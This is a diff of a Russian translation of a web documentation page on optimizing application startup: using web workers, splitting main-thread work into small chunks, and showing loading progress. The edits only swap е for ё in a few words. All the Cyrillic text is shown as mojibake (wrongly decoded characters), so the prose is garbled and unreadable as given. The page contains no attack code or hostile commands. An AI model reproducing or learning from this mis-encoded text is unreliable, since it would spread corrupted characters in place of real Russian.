+<p>Часто упускаСмый ΠΈΠ· Π²ΠΈΠ΄Π° аспСкт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ - это ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ запуска прилоТСния. Π”Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎ усилий ΠΊ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΈΠΌΠ΅Π½Π½ΠΎ этот этап ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½. Как Π΄ΠΎΠ»Π³ΠΎ запускаСтся вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅? Боздаётся Π»ΠΈ Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ устройство зависаСт, ΠΏΠΎΠΊΠ° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ запускаСтся? ВсС эти симптомы Π·Π°ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ сломано ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ΄Ρ‘Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ. ВсСгда Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ лишним ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ запускаСтся ΠΏΠ»Π°Π²Π½ΠΎ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ подСлимся Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ подсказками, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ запуск прилоТСния, Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ Π΅Π³ΠΎ с нуля ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ.</p>
</div>
<h2 id="ΠŸΡ€ΠΈΡΡ‚Π½Ρ‹ΠΉ_запуск">ΠŸΡ€ΠΈΡΡ‚Π½Ρ‹ΠΉ запуск</h2>
@@ -13,7 +13,7 @@ translation_of: Web/Performance/Optimizing_startup_performance
<p>ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ΄ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡Π°ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»Π°ΡΡŒ Π² <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web worker</a>, Ρ‡Ρ‚ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ Π΅Π³ΠΎ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Π½Π΅Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€Π΅Π΄Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, запросы Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°). Π—Π°Ρ‚Π΅ΠΌ, всС, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ события ΠΈΠ»ΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ интСрфСйса) Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π±ΠΈΡ‚ΠΎ Π½Π° нСбольшиС кусочки Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° выполнял нСбольшиС куски ΠΊΠΎΠ΄Π° ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎ, Π° Π½Π΅ Π·Π° ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ Π΄Π°ΠΆΠ΅ Π²ΠΎ врСмя ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</p>
-<p>ΠŸΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ всС это асинхронно? Помимо ΠΏΡ€ΠΈΡ‡ΠΈΠ½, пСрСчислСнных Π²Ρ‹ΡˆΠ΅, ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ влиянии, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ зависшиС прилоТСния: ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ запуск, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ запустил ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ошибкС. Если ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ запускаСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄Π°ΠΆΠ΅ Π½Π΅ смоТСт Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ. Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ счСтС это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти Π΄Π°ΠΆΠ΅ ΠΊ систСмным прСдупрСТдСниям ΠΎ "ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹Ρ… скриптах" ΠΈΠ»ΠΈ "исчСрпании памяти". А вСдь Π±Ρ‹Π»ΠΎ врСмя, ΠΊΠΎΠ³Π΄Π° каТдая Π²ΠΊΠ»Π°Π΄ΠΊΠ° Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ процСссС, ΠΊΠ°ΠΊ сСйчас, Π° ΠΏΠΎΡ‚ΠΎΠΌΡƒ повисшая Π²ΠΊΠ»Π°Π΄ΠΊΠ° ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠ»Π° ΠΊ зависанию всСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°! Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π΅ просто Π΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ прилоТСния "мягкой", Π½ΠΎ ΠΈ Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π·Π½Π°Ρ‚ΡŒ ΠΎ процСссС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ: ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ прогрСсс-Π±Π°Ρ€Ρ‹ ΠΈΠ»ΠΈ этапы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ зависло.</p>
+<p>ΠŸΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ всС это асинхронно? Помимо ΠΏΡ€ΠΈΡ‡ΠΈΠ½, пСрСчислСнных Π²Ρ‹ΡˆΠ΅, ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ влиянии, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ зависшиС прилоТСния: ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ запуск, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ запустил ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ошибкС. Если ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ запускаСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄Π°ΠΆΠ΅ Π½Π΅ смоТСт Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ. Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ счётС это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти Π΄Π°ΠΆΠ΅ ΠΊ систСмным прСдупрСТдСниям ΠΎ "ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹Ρ… скриптах" ΠΈΠ»ΠΈ "исчСрпании памяти". А вСдь Π±Ρ‹Π»ΠΎ врСмя, ΠΊΠΎΠ³Π΄Π° каТдая Π²ΠΊΠ»Π°Π΄ΠΊΠ° Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ процСссС, ΠΊΠ°ΠΊ сСйчас, Π° ΠΏΠΎΡ‚ΠΎΠΌΡƒ повисшая Π²ΠΊΠ»Π°Π΄ΠΊΠ° ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠ»Π° ΠΊ зависанию всСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°! Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π΅ просто Π΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ прилоТСния "мягкой", Π½ΠΎ ΠΈ Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π·Π½Π°Ρ‚ΡŒ ΠΎ процСссС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ: ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ прогрСсс-Π±Π°Ρ€Ρ‹ ΠΈΠ»ΠΈ этапы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ зависло.</p>
<h3 id="Π‘Ρ‹Π»ΠΎ_Π±Ρ‹_ΠΆΠ΅Π»Π°Π½ΠΈΠ΅...">Π‘Ρ‹Π»ΠΎ Π±Ρ‹ ΠΆΠ΅Π»Π°Π½ΠΈΠ΅...</h3>
@@ -21,7 +21,7 @@ translation_of: Web/Performance/Optimizing_startup_performance
<p>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ухищрСния, Ссли Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ дСсктопноС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Web ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅. ДСсктопныС прилоТСния ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² написании ΠΊΠΎΠ΄Π° Π² асинхронной ΠΌΠ°Π½Π΅Ρ€Π΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ опСрационная систСма Π±Π΅Ρ€Π΅Ρ‚ Π·Π°Π±ΠΎΡ‚Ρƒ ΠΎΠ± этом Π½Π° сСбя. Π’ исходниках Ρ‚Π°ΠΊΠΎΠ³ΠΎ прилоТСния ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ лишь ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΡ‚ΠΎΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΊΠΎΠ΄Π°, Π½ΠΎ Π΄Π°ΠΆΠ΅ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ Ρ€Π°Π·Π±ΠΈΡ‚ Π½Π° асинхронныС этапы (запуском ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π½ΠΎΠ²ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ). Π’ Ρ‚Π°ΠΊΠΈΡ… прилоТСниях запуск часто прСдставляСт собой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΌΠΎΠ½ΠΎΠ»ΠΈΡ‚Π½ΡƒΡŽ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ, которая врСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ обращаСтся ΠΊ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠ°ΠΌ прогрСсса ΠΈ обновляСт ΠΈΡ….</p>
-<p>И хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ большиС ΠΈ "тяТСлыС" скрипты асинхронно, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ограничСния. Web Worker-Ρ‹ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ доступа ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> ΠΈΠ»ΠΈ audio, ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ синхронныС сообщСния Π² основной ΠΏΠΎΡ‚ΠΎΠΊ, Π²Ρ‹ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих API Π² основной ΠΏΠΎΡ‚ΠΎΠΊ. Π­Ρ‚ΠΎ всё ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Web Worker-Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ "чистыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ", Π½ΠΎ Π²Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ придСтся Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ… Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ систСму Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π½Π΅ΠΉ Π±Ρ‹Π»ΠΎ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС чистых Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - Ρ‚Π°ΠΊ ΠΈΡ… Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡ‰Π΅ Π΄Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ  послСдствии.</p>
+<p>И хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ большиС ΠΈ "тяТёлыС" скрипты асинхронно, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ограничСния. Web Worker-Ρ‹ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ доступа ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> ΠΈΠ»ΠΈ audio, ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ синхронныС сообщСния Π² основной ΠΏΠΎΡ‚ΠΎΠΊ, Π²Ρ‹ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих API Π² основной ΠΏΠΎΡ‚ΠΎΠΊ. Π­Ρ‚ΠΎ всё ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Web Worker-Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ "чистыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ", Π½ΠΎ Π²Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ придётся Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ… Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ систСму Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π½Π΅ΠΉ Π±Ρ‹Π»ΠΎ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС чистых Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - Ρ‚Π°ΠΊ ΠΈΡ… Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡ‰Π΅ Π΄Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ  послСдствии.</p>
<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ΄ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ асинхронным, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠΈΠ² лишь нСбольшиС усилия.</p>
@@ -45,9 +45,9 @@ translation_of: Web/Performance/Optimizing_startup_performance
<p>Когда ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π° ΠΈ начинаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° прилоТСния Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π²ΠΏΠΎΠ»Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ обязано Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎΠΏΠΎΡ‚ΠΎΡ‡Π½Ρ‹ΠΌ, особСнно Ссли это портированная вСрсия. ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠΌΠΎΡ‡ΡŒ процСссу запуска прилоТСния, ΠΏΠΎΡ€Π΅Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ² ΠΊΠΎΠ΄, сдСлав Π΅Π³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚Π½Ρ‹ΠΌ, состоящим ΠΈΠ· ΠΌΠ°Π»Π΅Π½ΡŒΠΊΠΈΡ… кусочков, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ основным ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ. Π’ этом случаС, Π² ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ этих кусочков ΠΊΠΎΠ΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ смоТСт Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ врСмя Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π²ΠΎΠ΄Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ»ΠΈΠΊ) ΠΈΠ»ΠΈ Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΌΠΈΠΊΡ€ΠΎ-Π·Π°Π΄Π°Ρ‡.</p>
